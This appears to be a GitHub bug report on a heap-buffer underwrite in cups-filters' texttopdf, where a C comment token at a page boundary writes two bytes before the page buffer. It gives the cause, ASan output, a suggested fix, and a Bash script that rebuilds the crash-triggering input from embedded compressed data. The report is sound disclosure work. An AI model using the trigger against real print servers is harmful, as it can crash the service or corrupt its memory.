Skip to content

texttopdf: comment token across a page boundary writes before the page buffer #196

Description

@kimaiden1984-boop

Summary

cfFilterTextToPDF() writes two bytes before its heap-allocated page buffer
when C/C++ pretty printing recognizes /* at the exact automatic page
boundary. The syntax state is updated before wrapping, but the first comment
character is highlighted after wrapping with column - 1, when column has
already been reset to zero.

The failure is reachable through the normal standalone texttopdf filter
without a fuzzing harness, a PPD, or malformed text.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

The 6,469-byte PoC is:

6467 bytes of "A" + "/*"

Its SHA-256 is
1f34d3d7cc9a19bd4b543ab3e64102ab9a738bc91737ee818d2cff6138b906ed.
With the fallback Letter page, cpi=12, lpi=8, and pretty-print header,
the page contains 84 columns by 77 lines. The / occupies the final cell and
the * crosses onto a freshly cleared page.

Run:

./reproduce.sh

This invokes the standard seven-argument CUPS filter interface through
ppdFilterCUPSWrapper() and then cfFilterTextToPDF().

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: texttopdf: comment token across a page boundary writes before the page buffer
# Finding ID: texttopdf-comment-page-boundary-oob
# Trigger: cfFilterTextToPDF() writes two bytes before its heap-allocated page
# buffer when C/C++ pretty printing recognizes /* at the exact automatic page
# boundary. The syntax state is updated before wrapping, but the first comment
# character is highlighted after wrapping with column - 1, when column has
# already been reset to zero.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (6469 bytes)
write_file document.txt 1f34d3d7cc9a19bd4b543ab3e64102ab9a738bc91737ee818d2cff6138b906ed <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+3BMQEAAAwCoD4+ZrB/qf3LAGwAAAAAAAA8zQExUFYzRRkAAA==
POC_PAYLOAD_0

Result

ASan reports:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 2
cfFilterTextToPDF .../cupsfilters/texttopdf.c:1433:40
0x52b0000001fe is located 2 bytes before 25872-byte region

The complete report is in asan.txt. The unsanitized build exits with status
134 after glibc reports double free or corruption (out); see baseline.txt
and baseline-stderr.txt.

The two UBSan diagnostics in sfnt-private.h occur earlier during font
embedding and are independent of this page-buffer write.

Cause and expected behavior

At texttopdf.c:1325-1334, the * and preceding / enter comment state.
At lines 1366-1380, wrapping resets column, line, and the page when the
current column is full. At lines 1425-1433, the comment highlighter then writes
doc.Page[line][column - 1].attr, which addresses the element before the new
page buffer.

The highlighter must retain the pre-wrap location of /, highlight it before
the cursor transition, or guard the previous-cell access across line and page
boundaries. A valid syntax token crossing a layout boundary must not access
outside doc.Page.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions